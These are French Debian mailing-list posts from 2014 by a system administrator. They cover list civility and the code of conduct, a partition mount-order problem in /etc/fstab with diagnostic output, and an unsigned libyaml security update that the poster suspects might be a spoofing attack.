Le vendredi 30 mai 2014 à 08:53:20 +0200, aishen a écrit: > > Le 30/05/2014 07:51, Frédéric Micout a écrit : > >Le 30/05/2014 01:24, Charles Plessy a écrit : > >>Bonjour à tous, > >> > >>je lis de plus en plus d'insultes sur cette liste, et ça me > >>rappelle que le code > >>de conduite de Debian est aussi disponible en français à > >>l'adresse suivante. > >> > >> http://www.debian.org/code_of_conduct > >> > >>Je pense qu'une grosse partie du trafic sur cette liste est à > >>faire fuir. > >>Beaucoup de choses qui sont écrites ici seraient difficiles à > >>dire en face à > >>face, sauf à des gens que l'on connais bien et avec qui on a > >>pris l'habitude de > >>se lâcher au second degré ensemble. Et je pense que cette liste n'a pas > >>vocation à être un club fermé. > >> > >>L'agressivité sur les listes Debian n'est pas une fatalité. > >>Quand vous recevez > >>une réponses que vous pensez être déplacée, n'hésitez pas à le > >>dire. Vous > >>recevrez certainement une nouvelle bordée d'insultes en retour, > >>mais vous > >>n'avez pas besoin de les lire ou de continuer la discussion. > >> > >>Ensuite, si malgré les retours il y en a qui ne comprennent pas > >>qu'ils blessent > >>ou font fuir les autres, je me porte volontaire pour demander > >>leur bannissement > >>de la liste. Personnellement, je n'en peut plus. > >> > >>Sur ce, bon week-end à tous, > >> > > > >J'abonde dans ce sens. > > > >Je trouve dommage que la liste serve parfois d'exutoire à certains > >car cela nuit à l'ensemble. > >S'il s'agit d'une problème entre personnes, mieux vaut le régler > >en privé si possible. > > > >Bon WE à tous aussi. > > > Idem aussi, j'en suis venu à regarder les premières lignes et si ça > part en agressif j'efface comme un spam, ce qui est dommage. > Cette liste comme beaucoup est une véritable mine d'or, faisons en > sorte qu'elle le reste > B.W.E > Cordialement > Henri > J'abonde également dans ce sens ; les discussions partent trop souvent en cacahuète simplement parce que certains démarrent au quart de tour ou estiment certaines questions trop stupides pour eux et le font savoir bruyamment, ce qui ne peut être que dommageable. C'est navrant que certains utilisent la liste comme défouloir alors qu'ils n'auraient jamais, au grand jamais, osé dire ça IRL. Heureusement que les bonnes âmes n'ont pas toutes quitté cette liste et que celles qui sont restées continuent à la faire vivre. Cordialement. -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
Re: /etc/fstab et partitions imbriquées : bug ou fonctionnalité ?
Le mardi 13 mai 2014 à 15:57:59 +0200, Bzzz a écrit: > On Tue, 13 May 2014 10:19:38 +0200 > David Guyot wrote: > > > Effectivement, ta réponse est pertinente, mais je continue de > > croire que le noyau devrait au moins avertir des conséquences d'un > > tel ordre de montage des partitions. Je vais demander l'ajout de > > Il suffit d'avoir ne serais-ce qu'un quart de neurone > fonctionnel: on décolle rarement avec un planeur dont > on a pas encore monté les ailes… > > -- > Aria: On va à disneyland ensemble ? ya un ticket gratuit pour un acheté ! > Manon: Parfait je prend le gratuit ! > Il faut d'abord penser à vérifier /etc/fstab ; malheureusement, au moins chez mon hébergeur, c'est leur installeur qui génère /etc/fstab, donc on n'a normalement pas besoin d'y retourner. Qui plus est, puisque c'est si simple, on pourrait s'attendre à ce que le système avertisse de ce problème, à mon humble avis ; j'ai déjà vu des logiciels lancer des avertissements pour moins que ça, et, mount étant une commande essentielle, elle pourrait se permettre d'être plus bavarde que de simplement faire ce qu'on lui dit sans avertir de problèmes potentiels. Cordialement. -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
Re: /etc/fstab et partitions imbriquées : bug ou fonctionnalité ?
Le lundi 12 mai 2014 à 22:27:18 +0200, Jacques Daniel a écrit: > Le 12/05/2014 16:37, David Guyot a écrit : > > > Bonjour. > > > > Merci pour vos réponses. Toutefois, je ne comprends pas pourquoi les > > problèmes liés à un mauvais ordre de montage ne sont pas clairement > > indiqués ; un élément aussi important du système ne devrait-il pas être > > doté d'avertissements dans les pages man ou dans les journaux système > > lorsqu'un problème se produit ? J'ai du mal à trouver normal que le > > noyau accepte sans broncher de mettre les partitions dans un état > > incohérent ; habituellement, sous GNU/Linux, quand de telles > > possibilités sont laissées à root, elles sont entourées d'un luxe de > > messages d'avertissement du genre « Attention, vous allez probablement > > endommager votre système si vous continuez ! », mais, ici, rien, le > > noyau prend ce qu'on lui donne sans vérifier et tant pis si ça met le > > bazar derrière. > > > > Aurais-je manqué quelque chose ? > > > > Merci d'avance. > > > > Cordialement. > > > > Bonsoir, > > On peut imaginer des situations où ce que tu trouves être un problème > peut être une fonctionnalité intéressante et où le comportement est > alors tout à fait souhaitable: > > tu as un environnement de production (avec montage de /var/www puis > /var/www/cache) et pour des raisons d'exploitation tu désires mettre en > place temporairement un autre environnement (la nuit, le week-end ... ou > environnement dégradé suite à incident ... ou ...) et alors tu écrases > temporairement ton environnement en montant un autre système de fichiers > /var/www (sans le besoin du cache). > Quand tu veux reveveuwnir dans l'environnement initial tu as juste à > démonter /var/www et tu retrouves ton environnement initial. > > D'accord c'est sans doute un peu tiré par les cheveux mais pourquoi pas > (c'est bien le principe même du montage d'un système de fichiers: rendre > visible le nouveau système de fichiers et cacher l'ancienne arborescence). > > On pourrait effectivement imaginer des warnings pour attirer l'attention > de cette situation qui dans d'autres circonstances porte à confusion, > > Cordialement > > Jacques > > PS: si tu le juges utile tu peux poster ma réponse sur la liste Bonjour. Effectivement, ta réponse est pertinente, mais je continue de croire que le noyau devrait au moins avertir des conséquences d'un tel ordre de montage des partitions. Je vais demander l'ajout de cet avertissement ; dois-je envoyer cette demande à l'équipe Debian ou aux développeurs du noyau ? Merci d'avance pour ta réponse, ou celle d'un autre, bien sûr. Cordialement.. -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
/etc/fstab et partitions imbriquées : bug ou fonctionnalité ?
Bonjour, la liste. Je viens de remarquer ce qui me semble être un bug dans la gestion des partitions de /etc/fstab dans le cas de partitions imbriquées et aurait aimé savoir que faire de cette information. Je m'explique : j'ai récemment configuré un serveur dédié sous Wheezy, lequel contient, entre autres, deux partitions montées sous /var/www et /var/www/cache ; pour des raisons de limitations techniques de mon hébergeur, la grande firme roubaisienne, j'ai dû configurer d'abord la partition montée sous /var/www/cache, large d'environ 124 Gio, puis la partition /var/www, large d'environ 1,7 Tio, ce qui fait que /var/www était située après /var/www/cache dans /etc/fstab. À ce stade, les plus aguerris d'entre vous devraient entrevoir mon problème : cela a donné lieu à un fonctionnement très erratique de la partition /var/www/cache, comme les commandes ci-dessous, exécutées juste après un redémarrage du serveur, attestent : david@Curunir:~$ df -h Sys. fich.Taille Util. Dispo Uti% Monté sur rootfs 54G 3,1G 49G 6% / udev 10M 0 10M 0% /dev tmpfs13G 328K 13G 1% /run /dev/md1 54G 3,1G 49G 6% / tmpfs 5,0M 0 5,0M 0% /run/lock tmpfs35G 0 35G 0% /dev/shm /dev/md3 20G 233M 19G 2% /var/log /dev/md41,7T 852M 1,6T 1% /var/www/cache /dev/md6 99G 188M 94G 1% /home /dev/md71,7T 852M 1,6T 1% /var/www tmpfs32G 0 32G 0% /tmp david@Curunir:~$ sudo su [sudo] password for david: root@Curunir:/home/david# umount /dev/md4 umount: /var/www/cache: not mounted root@Curunir:/home/david# mount /dev/md4 root@Curunir:/home/david# df -h Sys. fich. Taille Util. Dispo Uti% Monté sur rootfs 54G 3,1G 49G 6% / udev 10M 0 10M 0% /dev tmpfs 13G 328K 13G 1% /run /dev/md1 54G 3,1G 49G 6% / tmpfs 5,0M 0 5,0M 0% /run/lock tmpfs 35G 0 35G 0% /dev/shm /dev/md3 20G 233M 19G 2% /var/log /dev/md4 124G 188M 118G 1% /var/www/cache /dev/md6 99G 188M 94G 1% /home /dev/md7 1,7T 852M 1,6T 1% /var/www tmpfs 32G 4,0K 32G 1% /tmp /dev/md4 124G 188M 118G 1% /var/www/cache root@Curunir:/home/david# uname -a Linux Curunir 3.2.0-4-amd64 #1 SMP Debian 3.2.57-3 x86_64 GNU/Linux root@Curunir:/home/david# aptitude show linux-image-3.2.0-4-amd64 Paquet : linux-image-3.2.0-4-amd64 Nouveau: oui État: installé Automatiquement installé: oui Version : 3.2.57-3 Priorité : optionnel Section : kernel Responsable : Debian Kernel Team Architecture : amd64 Taille décompressée : 106 M Dépend: kmod | module-init-tools, linux-base (>= 3~), initramfs-tools (>= 0.99~) | linux-initramfs-tool Pré-dépend: debconf | debconf-2.0 Recommande: firmware-linux-free (>= 3~) Suggère: linux-doc-3.2, debian-kernel-handbook, grub-pc | extlinux | lilo Casse: at (< 3.1.12-1+squeeze1), initramfs-tools (< 0.99~) Fournit: linux-image, linux-modules-3.2.0-4-amd64 Description : Linux 3.2 for 64-bit PCs The Linux kernel 3.2 and modules for use on PCs with AMD64, Intel 64 or VIA Nano processors. This kernel also runs on a Xen hypervisor. It supports both privileged (dom0) and unprivileged (domU) operation. Ce comportement ne s'accompagnait d'aucun message d'erreur dans quelque journal que ce soit ; après de nombreux essais, je me suis souvenu de l'ordre de ces partitions dans /etc/fstab et les ai inversées pour placer /var/www avant /var/www/cache, et la partition /var/www/cache a, de ce fait, retrouvé un comportement normal. Je sais que l'ordre dans /etc/fstab des systèmes de fichiers à monter est important, mais je n'aurais jamais pensé que des problèmes liés pourraient se montrer de la sorte, sans aucun avertissement ni gestion correcte par le noyau. À mon sens, le noyau devrait gérer ce genre de cas de façon transparente, par exemple en chargeant /etc/fstab d'un bloc et en en vérifiant le contenu pour remettre dans l'ordre le montage des partitions afin d'éviter les problèmes ; sinon, il devrait au moins être capable d'avertir de ce genre de situation par un message dans les journaux afin d'éviter de perdre des heures d'analyse de symptômes sibyllins pour un problème aussi trivial. J'en arrive maintenant au moment fatidique : que dois-je faire de ce problème ? Tout d'abord, est-ce bien un bug ou est-ce une fonctionnalité ? Si c'est bien un bug, à qui le signaler ? Dois-je le signaler d'abord à l'équipe Debian qui le remontra aux développeurs du noyau si nécessaire, ou dois-je le signaler directement aux développeurs du noyau puisque cela concerne la fonction bas niveau de gestion du montage des disques ? Si vous êtes arrivés jusqu'à cette phrase, merci de m'avoir lu et merci d'avance pour votre éclairage
Erreur GPG lors de la mise à jour libyaml-0-2 0.1.4-2+deb7u3 sur Wheezy x64
Bonjour, la liste. Si je ne m'abuse, le problème suivant n'a pas encore été soumis à votre attention — si je m'abuse, veuillez pardonner mon erreur — : j'ai tenté de mettre à jour libyaml-0-2 vers la version 0.1.4-2+deb7u3 provenant de security.debian.org, mais aptitude rejette la mise à jour en se plaignant que « des versions non certifiées [du paquet] vont être installées »; j'ai tenté de réinsérer dans les clés APT la dernière en date pour le dépôt, mais cela ne résout rien. Par sécurité, j'ai arrêté là la mise à jour, mais ce message me surprend s'agissant d'un dépôt Debian officiel. Aurais-je manqué un élément? Quelques éléments de configuration : penegal@Arcturus:~$ apt-cache policy libyaml-0-2 libyaml-0-2: Installé : 0.1.4-2+deb7u2 Candidat : 0.1.4-2+deb7u3 Table de version : 0.1.4-2+deb7u3 0 500 http://security.debian.org/ wheezy/updates/main amd64 Packages *** 0.1.4-2+deb7u2 0 500 http://ftp.fr.debian.org/debian/ wheezy/main amd64 Packages 100 /var/lib/dpkg/status penegal@Arcturus:~$ cat /etc/apt/sources.list deb http://ftp.debian.org/debian/ wheezy-updates main deb-src http://ftp.debian.org/debian/ wheezy-updates main deb http://ftp.fr.debian.org/debian/ wheezy main contrib non-free deb-src http://ftp.fr.debian.org/debian/ wheezy main contrib non-free deb http://security.debian.org/ wheezy/updates main contrib non-free deb-src http://security.debian.org/ wheezy/updates main contrib non-free deb http://dl.google.com/linux/chrome/deb/ stable main deb http://dl.google.com/linux/earth/deb/ stable main deb http://packages.asterisk.org/deb wheezy main deb-src http://packages.asterisk.org/deb wheezy main deb http://download.virtualbox.org/virtualbox/debian wheezy contrib deb http://deb.opera.com/opera stable non-free deb http://http.debian.net/debian/ wheezy-backports main contrib non-free deb http://mozilla.debian.net/ wheezy-backports iceweasel-release deb http://packages.dotdeb.org wheezy all deb-src http://packages.dotdeb.org wheezy all Je précise que je viens d'être sujet à un bug étrange qui pourrait bien être lié : les requêtes DNS concernant plusieurs de ces dépôts, en l'espèce http.debian.net, mozilla.debian.net et security.debian.org, échouaient sur un délai d'attente dépassé, m'empêchant de mettre à jour les paquets liés, et ce sur tous les serveurs DNS publics que j'ai pu tenter, alors que cela fonctionnait depuis nos serveurs. Ce problème a disparu avant que je puisse le diagnostiquer. Je sais que ça peut paraître paranoïaque, mais je me demande si ces deux problème ne sont pas liés à un genre d'attaque par spoofing pour me faire installer des paquets corrompus. Il est probable que ce soit autre chose, mais cet enchaînement d'évènements ressemble trop, à mon humble avis, à ce genre d'attaque pour ne pas au moins y songer; sinon, y a-t-il un problème de mon côté ou du côté du dépôt? Merci d'avance pour vos réponses. Cordialement. -- David Guyot Administrateur système, réseau et télécommunications / Sysadmin Europe Camions Interactive / Stockway Moulin Collot F-88500 Ambacourt Tel: +33 (0)3 29 30 47 85 Fax : +33 (0)3 29 31 31 31 signature.asc Description: Digital signature
